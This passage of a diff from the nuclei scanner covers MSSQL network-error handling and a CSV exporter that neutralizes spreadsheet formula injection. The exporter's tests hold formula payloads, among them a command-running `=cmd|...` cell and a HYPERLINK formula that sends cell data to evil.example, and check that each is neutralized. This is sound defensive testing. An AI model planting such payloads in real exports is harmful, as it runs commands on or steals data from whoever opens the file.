// isNetworkError reports whether an error indicates a network, dialer,
// timeout, or policy failure as opposed to a server-side authentication rejection.
func isNetworkError(err error) bool {
if err == nil {
return false
}
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
return true
}
var netErr net.Error
if errors.As(err, &netErr) {
return true
}
errStr := strings.ToLower(err.Error())
for _, marker := range []string{
"connection refused",
"actively refused",
"port closed",
"unable to open tcp connection",
"network unreachable",
"connection reset",
"i/o timeout",
"connection timed out",
"context canceled",
"deadline exceeded",
"dialers not initialized",
"network policy",
"host denied",
} {
if strings.Contains(errStr, marker) {
return true
}
}
return false
}
// IsMssql checks if the given host is running MS SQL database.
// If the host is running MS SQL database, it returns true.
// If the host is not running MS SQL database, it returns false.
@@ -228,8 +156,9 @@ func (c *MSSQLClient) ExecuteQuery(ctx context.Context, host string, port int, u
}
target := net.JoinHostPort(host, fmt.Sprintf("%d", port))
connString := mssqlConnString(target, username, password, dbName)
db, err := openDB(executionId, target, username, password, dbName)
db, err := sql.Open("sqlserver", connString)
if err != nil {
return nil, err
}
-120
View File
@@ -1,18 +1,9 @@
package mssql
import (
"context"
"errors"
"net"
"strconv"
"testing"
"time"
gomssql "github.com/microsoft/go-mssqldb"
"github.com/microsoft/go-mssqldb/msdsn"
"github.com/projectdiscovery/goflags"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
"github.com/projectdiscovery/nuclei/v3/pkg/types"
"github.com/stretchr/testify/require"
)
@@ -42,114 +33,3 @@ func TestConnectionStringKeepsPlainDatabaseName(t *testing.T) {
require.Equal(t, "master", cfg.Database)
}
func TestOpenDBUsesCustomFastdialer(t *testing.T) {
execID := "mssql-opendb-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
db, err := openDB(execID, "127.0.0.1:1433", "user", "pass", "master")
require.NoError(t, err)
require.NotNil(t, db)
_ = db.Close()
}
func TestMssqlDialerEnforcesNetworkPolicy(t *testing.T) {
execID := "mssql-policy-test"
require.NoError(t, protocolstate.Init(&types.Options{
ExecutionId: execID,
ExcludeTargets: goflags.StringSlice{"denied.host"},
}))
t.Cleanup(func() { protocolstate.Close(execID) })
dialer := &mssqlCustomDialer{
executionId: execID,
host: "denied.host",
}
require.Equal(t, "denied.host", dialer.HostName())
var _ gomssql.HostDialer = dialer
_, err := dialer.DialContext(context.Background(), "tcp", "denied.host:1433")
require.Error(t, err)
require.Contains(t, err.Error(), "network policy")
uninitDialer := &mssqlCustomDialer{
executionId: "nonexistent-exec-id",
host: "example.com",
}
_, err = uninitDialer.DialContext(context.Background(), "tcp", "example.com:1433")
require.Error(t, err)
require.Contains(t, err.Error(), "dialers not initialized")
}
func TestConnectFailsFastOnClosedPort(t *testing.T) {
execID := "mssql-closed-port-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
ln, err := net.Listen("tcp", "127.0.0.1:0")
require.NoError(t, err)
_, portStr, err := net.SplitHostPort(ln.Addr().String())
require.NoError(t, err)
port, err := strconv.Atoi(portStr)
require.NoError(t, err)
_ = ln.Close()
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
ok, err := connect(ctx, execID, "127.0.0.1", port, "user", "pass", "master")
require.Error(t, err)
require.False(t, ok)
}
func TestConnectWithCanceledContext(t *testing.T) {
execID := "mssql-canceled-ctx-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
ctx, cancel := context.WithCancel(context.Background())
cancel() // Cancel immediately
ok, err := connect(ctx, execID, "127.0.0.1", 1433, "user", "pass", "master")
require.Error(t, err)
require.False(t, ok)
}
func TestIsNetworkError(t *testing.T) {
require.True(t, isNetworkError(errors.New("connect: connection refused")))
require.True(t, isNetworkError(errors.New("No connection could be made because the target machine actively refused it.")))
require.True(t, isNetworkError(errors.New("unable to open tcp connection with host '127.0.0.1:1433': cause=\"port closed or filtered\"")))
require.True(t, isNetworkError(errors.New("network unreachable")))
require.True(t, isNetworkError(errors.New("connection reset by peer")))
require.True(t, isNetworkError(errors.New("i/o timeout")))
require.True(t, isNetworkError(context.Canceled))
require.True(t, isNetworkError(context.DeadlineExceeded))
require.True(t, isNetworkError(protocolstate.ErrHostDenied.Msgf("127.0.0.1")))
// Server-side responses / authentication failures are not network errors
require.False(t, isNetworkError(nil))
require.False(t, isNetworkError(errors.New("mssql: Login failed for user 'sa'")))
require.False(t, isNetworkError(errors.New("mssql: Cannot open database \"secret\" requested by the login")))
require.False(t, isNetworkError(errors.New("mssql: Password has expired")))
require.False(t, isNetworkError(errors.New("mssql: Permission denied to database")))
require.False(t, isNetworkError(errors.New("mssql: Password must be reset")))
require.False(t, isNetworkError(errors.New("mssql: The query timed out")))
}
func TestExecuteQueryUsesFastdialer(t *testing.T) {
execID := "mssql-execute-query-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
client := &MSSQLClient{}
ctx := context.WithValue(context.Background(), "executionId", execID) //nolint:staticcheck // SA1029: executionId string key matches goja runtime injection
// Denied host should fail policy check immediately
_, err := client.ExecuteQuery(ctx, "denied.host", 1433, "user", "pass", "master", "SELECT 1")
require.Error(t, err)
// Closed port should fail
_, err = client.ExecuteQuery(ctx, "127.0.0.1", 65530, "user", "pass", "master", "SELECT 1")
require.Error(t, err)
}
-310
View File
@@ -1,310 +0,0 @@
package csv
import (
"encoding/csv"
"os"
"regexp"
"strconv"
"strings"
"sync"
"time"
"github.com/pkg/errors"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
)
const (
// defaultFile is used when no file is configured, mirroring the PDF
// exporter. The generated default reporting config lists every exporter with
// an empty block, and an empty block must not stop the client from starting.
defaultFile = "nuclei-results.csv"
// filePerm keeps the export private to the current user. Rows carry
// extracted response data and a replayable curl command, which can include
// credentials, so the file is not world readable by default.
filePerm = 0o600
// multiValueSeparator separates the elements of a multi-value cell.
multiValueSeparator = "\n"
)
// Options contains the configuration options for the CSV exporter client
type Options struct {
// File is the file to export found CSV result to
File string `yaml:"file"`
// OmitRaw whether to leave the curl command, which is a rendering of the raw
// request, out of the export
OmitRaw bool `yaml:"omit-raw"`
}
// header is the ordered list of columns written to the CSV file.
//
// The schema is a flattened full row of the result event: everything a triage
// or GRC workflow normally needs is present as its own column, so the file can
// be opened in a spreadsheet or handed to a ticketing/SIEM intake without any
// further transformation.
//
// Column names mirror the JSON/JSONL keys of output.ResultEvent one-for-one so
// a column can always be traced back to the field it came from, and match the
// names httpx uses in its own CSV mode where they overlap (host, port,
// timestamp). The two exceptions are template-name and template-type, which map
// to info.name and type: bare "name"/"type" are ambiguous as spreadsheet
// headers.
var header = []string{
"template-id",
"template-name",
"template-type",
"severity",
"host",
"ip",
"port",
"matched-at",
"matcher-name",
"extractor-name",
"extracted-results",
"cve-id",
"cwe-id",
"cvss-metrics",
"cvss-score",
"description",
"reference",
"curl-command",
"timestamp",
}
// Exporter is an exporter for nuclei results in CSV format
type Exporter struct {
options *Options
mutex *sync.Mutex
writer *csv.Writer
outputFile *os.File
closed bool
}
// New creates a new CSV exporter integration client based on options.
func New(options *Options) (*Exporter, error) {
opts := &Options{}
if options != nil {
*opts = *options
}
if opts.File == "" {
opts.File = defaultFile
}
outputFile, err := os.OpenFile(opts.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, filePerm)
if err != nil {
return nil, errors.Wrap(err, "failed to create CSV file")
}
writer := csv.NewWriter(outputFile)
if err := writer.Write(header); err != nil {
_ = outputFile.Close()
return nil, errors.Wrap(err, "failed to write CSV header")
}
writer.Flush()
if err := writer.Error(); err != nil {
_ = outputFile.Close()
return nil, errors.Wrap(err, "failed to write CSV header")
}
return &Exporter{
mutex: &sync.Mutex{},
options: opts,
writer: writer,
outputFile: outputFile,
}, nil
}
// Export appends the passed result event as a flattened row to the CSV file.
// Rows are flushed as they are written so the file is complete and readable
// while a long scan is still running. The event is only read, never modified,
// because the same event is handed to every exporter and tracker.
func (exporter *Exporter) Export(event *output.ResultEvent) error {
if event == nil {
return nil
}
exporter.mutex.Lock()
defer exporter.mutex.Unlock()
if exporter.closed {
return errors.New("CSV exporter is closed")
}
if err := exporter.writer.Write(formatRow(event, exporter.options.OmitRaw)); err != nil {
return errors.Wrap(err, "failed to write CSV row")
}
exporter.writer.Flush()
if err := exporter.writer.Error(); err != nil {
return errors.Wrap(err, "failed to write CSV row")
}
return nil
}
// formulaTriggers are the leading characters that Excel, LibreOffice Calc and
// Google Sheets treat as the start of a formula. A cell beginning with one of
// them is evaluated when the file is opened, so a response-derived value such
// as `=cmd|'/C calc'!A0` captured by an extractor would execute on the machine
// of whoever opens the export (CWE-1236).
const formulaTriggers = "=+-@\t\r"
// plainNumber matches a value that is only a decimal number. It is used to keep
// numeric cells such as a negative extracted value sortable. It is deliberately
// stricter than strconv.ParseFloat, which also accepts forms like "+Inf",
// "-NaN" and hex floats that a spreadsheet does not read as numbers.
var plainNumber = regexp.MustCompile(`^[+-]?([0-9]+\.?[0-9]*|\.[0-9]+)([eE][+-]?[0-9]+)?$`)
// startsWithFormulaTrigger reports whether a spreadsheet would read the value
// as a formula. Leading spaces and control characters are skipped first,
// because some spreadsheets ignore them before the trigger.
func startsWithFormulaTrigger(value string) bool {
for i := 0; i < len(value); i++ {
c := value[i]
if strings.IndexByte(formulaTriggers, c) >= 0 {
return true
}
if c > ' ' {
return false
}
}
return false
}
// neutralizeFormula prefixes a single apostrophe to any value a spreadsheet
// would evaluate as a formula, which forces the cell to be read as text.
//
// The original value is recovered by removing one leading apostrophe, except
// for a value that already started with an apostrophe, which is left alone and
// is therefore indistinguishable from a neutralized one. Values that are only a
// plain number are left untouched so numeric columns (cvss-score, port) stay
// sortable and a negative number is not needlessly quoted.
func neutralizeFormula(value string) string {
if !startsWithFormulaTrigger(value) || plainNumber.MatchString(value) {
return value
}
return "'" + value
}
// neutralizeLines neutralizes every line of a value that is stored as a list
// of lines. Consumers split these cells back into lines, so each line has to be
// safe on its own and not just the start of the cell. Line endings are
// normalized to a single newline, which is the separator of the list.
func neutralizeLines(value string) string {
if value == "" {
return ""
}
value = strings.ReplaceAll(value, "\r\n", "\n")
value = strings.ReplaceAll(value, "\r", "\n")
lines := strings.Split(value, "\n")
for i, line := range lines {
lines[i] = neutralizeFormula(line)
}
return strings.Join(lines, "\n")
}
// neutralizeList joins the elements of a multi-value column with the given
// separator after neutralizing each element, and each line of each element.
func neutralizeList(values []string, separator string) string {
if len(values) == 0 {
return ""
}
neutralized := make([]string, 0, len(values))
for _, value := range values {
neutralized = append(neutralized, neutralizeLines(value))
}
return strings.Join(neutralized, separator)
}
// formatRow flattens a ResultEvent into the ordered set of CSV columns defined
// by header. Empty values are emitted for fields that are not present on the
// event (for example, templates without CVE/CVSS classification metadata).
//
// Two separate escaping concerns are handled here. Structural injection is
// handled by encoding/csv, which RFC 4180-quotes any value carrying a comma,
// double quote or newline so it cannot forge extra columns or rows. Spreadsheet
// formula evaluation is handled by neutralizeFormula, because the target of
// this exporter is explicitly a file someone opens in a spreadsheet. Every
// column goes through it, including the ones that normally hold a controlled
// value, because template metadata is written by the template author and is not
// trusted either.
func formatRow(event *output.ResultEvent, omitRaw bool) []string {
var cve, cwe, cvssMetrics, cvssScore string
if event.Info.Classification != nil {
classification := event.Info.Classification
// CVE/CWE identifiers cannot contain a comma, so they keep the ", "
// form used everywhere else in nuclei.
cve = neutralizeList(classification.CVEID.ToSlice(), ", ")
cwe = neutralizeList(classification.CWEID.ToSlice(), ", ")
cvssMetrics = classification.CVSSMetrics
if classification.CVSSScore > 0 {
cvssScore = strconv.FormatFloat(classification.CVSSScore, 'f', -1, 64)
}
}
// References are URLs and can themselves contain a comma, so they are
// newline separated inside the (quoted) cell rather than comma separated.
var reference string
if event.Info.Reference != nil {
reference = neutralizeList(event.Info.Reference.ToSlice(), multiValueSeparator)
}
var curlCommand string
if !omitRaw {
curlCommand = event.CURLCommand
}
var timestamp string
if !event.Timestamp.IsZero() {
timestamp = event.Timestamp.UTC().Format(time.RFC3339)
}
return []string{
neutralizeFormula(event.TemplateID),
neutralizeFormula(event.Info.Name),
neutralizeFormula(event.Type),
neutralizeFormula(event.Info.SeverityHolder.Severity.String()),
neutralizeFormula(event.Host),
neutralizeFormula(event.IP),
neutralizeFormula(event.Port),
neutralizeFormula(event.Matched),
neutralizeFormula(event.MatcherName),
neutralizeFormula(event.ExtractorName),
// Extracted results are arbitrary response-derived data and can contain
// commas and newlines, so they are newline separated inside the
// (quoted) cell, with every line neutralized on its own.
neutralizeList(event.ExtractedResults, multiValueSeparator),
cve,
cwe,
neutralizeFormula(cvssMetrics),
neutralizeFormula(cvssScore),
neutralizeFormula(event.Info.Description),
reference,
neutralizeFormula(curlCommand),
neutralizeFormula(timestamp),
}
}
// Close flushes any buffered rows and closes the CSV file. It is safe to call
// more than once.
func (exporter *Exporter) Close() error {
exporter.mutex.Lock()
defer exporter.mutex.Unlock()
if exporter.closed {
return nil
}
exporter.closed = true
exporter.writer.Flush()
if err := exporter.writer.Error(); err != nil {
_ = exporter.outputFile.Close()
return errors.Wrap(err, "failed to flush CSV file")
}
if err := exporter.outputFile.Close(); err != nil {
return errors.Wrap(err, "failed to close CSV file")
}
return nil
}
@@ -1,450 +0,0 @@
package csv
import (
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"sync"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
)
// payloads are values a spreadsheet would evaluate. Every one of them has to be
// neutralized wherever it lands in a row.
var payloads = []string{
`=cmd|'/C calc'!A0`,
`=HYPERLINK("http://evil.example/?d="&A1,"x")`,
`+1+1`,
`-2+3`,
`@SUM(1+1)`,
"\t=1+1",
"\r=1+1",
" =1+1",
"\n=1+1",
}
// hostileEvent puts the given value into every string field of the event that
// ends up in the CSV, including the template metadata fields.
func hostileEvent(value string) *output.ResultEvent {
return &output.ResultEvent{
TemplateID: value,
Type: value,
Info: model.Info{
Name: value,
Description: value,
Reference: stringslice.NewRawStringSlice([]string{value, "https://example.com", value}),
SeverityHolder: severity.Holder{Severity: severity.High},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: []string{value, "CVE-2020-0001"}},
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", value}},
CVSSMetrics: value,
CVSSScore: 9.8,
},
},
Host: value,
IP: value,
Port: value,
Matched: value,
MatcherName: value,
ExtractorName: value,
ExtractedResults: []string{value, "ok", value},
CURLCommand: value,
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
}
// TestCSVExporterNeutralizesEveryColumn is the guard against a column being
// added or changed without going through neutralizeFormula. The payload is put
// in every field, so a column that skips it shows up as an unsafe cell.
func TestCSVExporterNeutralizesEveryColumn(t *testing.T) {
for _, payload := range payloads {
t.Run(fmt.Sprintf("%q", payload), func(t *testing.T) {
records := export(t, hostileEvent(payload))
require.Len(t, records, 2)
row := records[1]
require.Len(t, row, len(header))
for i, cell := range row {
name := header[i]
if startsWithFormulaTrigger(cell) && !plainNumber.MatchString(cell) {
t.Errorf("column %s is a formula: %q", name, cell)
}
}
// list columns are split back into elements and lines by consumers,
// so each of those has to be safe too
for _, name := range []string{"extracted-results", "reference", "cve-id", "cwe-id"} {
cell := row[column(t, name)]
separator := "\n"
if name == "cve-id" || name == "cwe-id" {
separator = ", "
}
for _, element := range strings.Split(cell, separator) {
for _, line := range strings.Split(element, "\n") {
if startsWithFormulaTrigger(line) && !plainNumber.MatchString(line) {
t.Errorf("column %s has an element that is a formula: %q", name, line)
}
}
}
}
})
}
}
// TestCSVExporterNeutralizesEmbeddedLinesInLists covers a multi-line
// extracted result. Joined with the list separator, its second line becomes an
// element of its own for anyone who splits the cell.
func TestCSVExporterNeutralizesEmbeddedLinesInLists(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "t",
ExtractedResults: []string{"harmless\n=cmd|'/C calc'!A0", "a\r\n@SUM(1)", "b\r+1+1", "-5"},
Info: model.Info{
SeverityHolder: severity.Holder{Severity: severity.Info},
Reference: stringslice.NewRawStringSlice([]string{"https://a.example\n=1+1"}),
},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
row := export(t, event)[1]
require.Equal(t,
[]string{"harmless", "'=cmd|'/C calc'!A0", "a", "'@SUM(1)", "b", "'+1+1", "-5"},
strings.Split(row[column(t, "extracted-results")], "\n"))
require.Equal(t,
[]string{"https://a.example", "'=1+1"},
strings.Split(row[column(t, "reference")], "\n"))
}
func TestCSVExporterNeutralizesTemplateAuthoredMetadata(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "t",
Info: model.Info{
Name: "n",
SeverityHolder: severity.Holder{Severity: severity.Low},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: "=cmd|'/C calc'!A0"},
CWEID: stringslice.StringSlice{Value: []string{"CWE-79", "@SUM(1)"}},
CVSSMetrics: "+cmd",
},
},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
row := export(t, event)[1]
require.Equal(t, "'=cmd|'/C calc'!A0", row[column(t, "cve-id")])
require.Equal(t, "CWE-79, '@SUM(1)", row[column(t, "cwe-id")])
require.Equal(t, "'+cmd", row[column(t, "cvss-metrics")])
}
func TestCSVExporterLeavesBenignValuesAlone(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "tech-detect",
Type: "http",
Info: model.Info{
Name: "Wappalyzer Technology Detection",
Description: "- bullet one\n- bullet two",
SeverityHolder: severity.Holder{Severity: severity.Info},
},
Host: "http://example.com/a=b+c",
Port: "8080",
ExtractedResults: []string{"nginx/1.25", "-1", "+7", "3.14"},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
row := export(t, event)[1]
require.Equal(t, "http://example.com/a=b+c", row[column(t, "host")])
require.Equal(t, "8080", row[column(t, "port")])
require.Equal(t, "nginx/1.25\n-1\n+7\n3.14", row[column(t, "extracted-results")])
require.Equal(t, "2025-06-01T00:00:00Z", row[column(t, "timestamp")])
}
func TestCSVExporterOmitRaw(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "t",
Host: "example.com",
CURLCommand: "curl -H 'Authorization: Bearer secret' 'https://example.com'",
Request: "GET / HTTP/1.1",
Response: "HTTP/1.1 200 OK",
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
for _, omit := range []bool{false, true} {
t.Run(fmt.Sprintf("omit-raw=%t", omit), func(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file, OmitRaw: omit})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
raw, err := os.ReadFile(file)
require.NoError(t, err)
require.NotContains(t, string(raw), "GET / HTTP/1.1", "the raw request is never part of the schema")
require.NotContains(t, string(raw), "HTTP/1.1 200 OK", "the raw response is never part of the schema")
cell := readCSV(t, file)[1][column(t, "curl-command")]
if omit {
require.Empty(t, cell)
require.NotContains(t, string(raw), "secret")
} else {
require.Contains(t, cell, "Authorization: Bearer secret")
}
})
}
}
func TestCSVExporterDoesNotMutateEvent(t *testing.T) {
event := hostileEvent("=1+1")
before := *hostileEvent("=1+1")
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file, OmitRaw: true})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
require.Equal(t, before, *event, "the event is shared with other exporters and must stay untouched")
require.Equal(t, "=1+1", event.CURLCommand)
}
func TestCSVExporterZeroTimestampIsEmpty(t *testing.T) {
row := export(t, &output.ResultEvent{
TemplateID: "t",
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}},
})[1]
require.Empty(t, row[column(t, "timestamp")])
}
func TestCSVExporterNilEvent(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(nil))
require.NoError(t, exporter.Close())
require.Len(t, readCSV(t, file), 1, "only the header is written")
}
func TestCSVExporterDefaultFile(t *testing.T) {
for name, options := range map[string]*Options{
"nil options": nil,
"empty options": {},
} {
t.Run(name, func(t *testing.T) {
t.Chdir(t.TempDir())
exporter, err := New(options)
require.NoError(t, err, "an empty block in a reporting config must not fail")
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "t"}))
require.NoError(t, exporter.Close())
records := readCSV(t, defaultFile)
require.Len(t, records, 2)
require.Equal(t, header, records[0])
})
}
}
func TestCSVExporterDoesNotMutateOptions(t *testing.T) {
t.Chdir(t.TempDir())
options := &Options{}
exporter, err := New(options)
require.NoError(t, err)
require.NoError(t, exporter.Close())
require.Empty(t, options.File, "the caller's options are copied, not edited")
}
func TestCSVExporterFilePermissions(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("unix permission bits are not enforced on windows")
}
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Close())
info, err := os.Stat(file)
require.NoError(t, err)
require.Equal(t, os.FileMode(0o600), info.Mode().Perm())
}
func TestCSVExporterTruncatesExistingFile(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
require.NoError(t, os.WriteFile(file, []byte(strings.Repeat("stale,row\n", 100)), 0o600))
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Close())
require.Len(t, readCSV(t, file), 1)
raw, err := os.ReadFile(file)
require.NoError(t, err)
require.NotContains(t, string(raw), "stale")
}
func TestCSVExporterInvalidPath(t *testing.T) {
dir := t.TempDir()
for name, path := range map[string]string{
"missing parent directory": filepath.Join(dir, "missing", "results.csv"),
"directory": dir,
} {
t.Run(name, func(t *testing.T) {
exporter, err := New(&Options{File: path})
require.Error(t, err)
require.Nil(t, exporter)
})
}
}
func TestCSVExporterClose(t *testing.T) {
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(&output.ResultEvent{TemplateID: "before"}))
require.NoError(t, exporter.Close())
require.NoError(t, exporter.Close(), "closing twice is harmless")
require.Error(t, exporter.Export(&output.ResultEvent{TemplateID: "after"}), "no writes after close")
records := readCSV(t, file)
require.Len(t, records, 2)
require.Equal(t, "before", records[1][column(t, "template-id")])
}
// TestCSVExporterConcurrentExport runs under -race in CI. The reporting client
// calls Export from every scan goroutine.
func TestCSVExporterConcurrentExport(t *testing.T) {
const workers, perWorker = 16, 50
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
var wg sync.WaitGroup
for w := range workers {
wg.Add(1)
go func() {
defer wg.Done()
for i := range perWorker {
err := exporter.Export(&output.ResultEvent{
TemplateID: fmt.Sprintf("w%d-%d", w, i),
Host: "example.com",
ExtractedResults: []string{"a,b", "multi\nline", `q"uote`},
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
})
if err != nil {
t.Errorf("export: %v", err)
}
}
}()
}
wg.Wait()
require.NoError(t, exporter.Close())
records := readCSV(t, file)
require.Len(t, records, workers*perWorker+1)
seen := map[string]bool{}
for _, record := range records[1:] {
require.Len(t, record, len(header), "rows must never interleave")
require.Equal(t, "a,b\nmulti\nline\nq\"uote", record[column(t, "extracted-results")])
require.False(t, seen[record[0]], "duplicate row %s", record[0])
seen[record[0]] = true
}
}
// TestCSVExporterLargeValues makes sure big response-derived values are written
// whole and do not break the row structure.
func TestCSVExporterLargeValues(t *testing.T) {
big := strings.Repeat("A,\"\n", 64*1024)
row := export(t, &output.ResultEvent{
TemplateID: "t",
ExtractedResults: []string{big},
Info: model.Info{
Description: big,
SeverityHolder: severity.Holder{Severity: severity.Info},
},
})
require.Equal(t, big, row[1][column(t, "description")])
require.Equal(t, big, row[1][column(t, "extracted-results")])
require.Len(t, row, 2)
require.Len(t, row[1], len(header))
}
func FuzzNeutralizeFormula(f *testing.F) {
for _, seed := range append([]string{"", "a", "-1", "+Inf", "'=x", "=", "\x00=", "é"}, payloads...) {
f.Add(seed)
}
f.Fuzz(func(t *testing.T, value string) {
got := neutralizeFormula(value)
if got != value {
require.Equal(t, "'"+value, got, "the only change allowed is one leading apostrophe")
require.True(t, startsWithFormulaTrigger(value))
}
if startsWithFormulaTrigger(got) {
require.True(t, plainNumber.MatchString(got), "a formula start survived: %q", got)
}
require.Equal(t, got, neutralizeFormula(got), "neutralizing twice changes nothing")
})
}
// FuzzFormatRow checks the guarantees that matter for any input: the row always
// has one cell per column, survives a CSV round trip, and no cell or list line
// is left as a formula.
func FuzzFormatRow(f *testing.F) {
for _, seed := range payloads {
f.Add(seed, seed, seed)
}
f.Add("plain", "a,b\n\"c\"", "x\r\ny")
f.Fuzz(func(t *testing.T, a, b, c string) {
event := &output.ResultEvent{
TemplateID: a,
Type: b,
Host: c,
Matched: a,
ExtractedResults: []string{a, b, c},
CURLCommand: b,
Info: model.Info{
Name: c,
Description: a,
SeverityHolder: severity.Holder{Severity: severity.Medium},
Reference: stringslice.NewRawStringSlice([]string{b, c}),
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: []string{a}},
CWEID: stringslice.StringSlice{Value: []string{b}},
CVSSMetrics: c,
},
},
}
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
records := readCSV(t, file)
require.Len(t, records, 2)
require.Len(t, records[1], len(header))
for i, cell := range records[1] {
if header[i] == "extracted-results" || header[i] == "reference" ||
header[i] == "cve-id" || header[i] == "cwe-id" {
for _, line := range strings.Split(cell, "\n") {
if startsWithFormulaTrigger(line) {
require.True(t, plainNumber.MatchString(line), "column %s line %q", header[i], line)
}
}
continue
}
if startsWithFormulaTrigger(cell) {
require.True(t, plainNumber.MatchString(cell), "column %s cell %q", header[i], cell)
}
}
})
}
-390
View File
@@ -1,390 +0,0 @@
package csv
import (
encodingcsv "encoding/csv"
"os"
"path/filepath"
"strings"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
)
// readCSV is a small helper that fully parses the exporter output back into
// records so assertions are made against decoded CSV rather than raw bytes.
func readCSV(t *testing.T, path string) [][]string {
t.Helper()
f, err := os.Open(path)
require.NoError(t, err)
defer func() { _ = f.Close() }()
records, err := encodingcsv.NewReader(f).ReadAll()
require.NoError(t, err)
return records
}
// column resolves a header name to its index so assertions do not depend on
// the ordinal position of a column.
func column(t *testing.T, name string) int {
t.Helper()
for i, h := range header {
if h == name {
return i
}
}
t.Fatalf("unknown CSV column %q", name)
return -1
}
// export writes a single event through the exporter and returns the decoded
// records (header row included).
func export(t *testing.T, event *output.ResultEvent) [][]string {
t.Helper()
file := filepath.Join(t.TempDir(), "results.csv")
exporter, err := New(&Options{File: file})
require.NoError(t, err)
require.NoError(t, exporter.Export(event))
require.NoError(t, exporter.Close())
return readCSV(t, file)
}
func TestCSVExporterWritesHeaderAndFlattenedRows(t *testing.T) {
ts := time.Date(2025, 1, 2, 3, 4, 5, 0, time.UTC)
event := &output.ResultEvent{
TemplateID: "CVE-2021-44228",
Type: "http",
Info: model.Info{
Name: "Apache Log4j2 Remote Code Execution",
Description: "Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
Reference: stringslice.NewRawStringSlice([]string{"https://logging.apache.org/log4j/2.x/security.html"}),
SeverityHolder: severity.Holder{Severity: severity.Critical},
Classification: &model.Classification{
CVEID: stringslice.StringSlice{Value: "CVE-2021-44228"},
CWEID: stringslice.StringSlice{Value: "CWE-502"},
CVSSMetrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
CVSSScore: 10.0,
},
},
Host: "https://example.com",
IP: "93.184.216.34",
Port: "443",
Matched: "https://example.com/api",
MatcherName: "jndi-ldap",
ExtractorName: "version",
ExtractedResults: []string{"2.14.1"},
CURLCommand: "curl -X 'GET' 'https://example.com/api'",
Timestamp: ts,
}
records := export(t, event)
require.Len(t, records, 2, "expected header + one data row")
require.Equal(t, header, records[0])
require.Equal(t, []string{
"CVE-2021-44228",
"Apache Log4j2 Remote Code Execution",
"http",
"critical",
"https://example.com",
"93.184.216.34",
"443",
"https://example.com/api",
"jndi-ldap",
"version",
"2.14.1",
"CVE-2021-44228",
"CWE-502",
"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"10",
"Apache Log4j2 JNDI features do not protect against attacker controlled LDAP endpoints.",
"https://logging.apache.org/log4j/2.x/security.html",
"curl -X 'GET' 'https://example.com/api'",
"2025-01-02T03:04:05Z",
}, records[1])
}
func TestCSVExporterHandlesMissingClassification(t *testing.T) {
event := &output.ResultEvent{
TemplateID: "tech-detect",
Type: "http",
Info: model.Info{
Name: "Wappalyzer Technology Detection",
SeverityHolder: severity.Holder{Severity: severity.Info},
},
Host: "example.org",
Matched: "example.org",
Timestamp: time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
}
records := export(t, event)
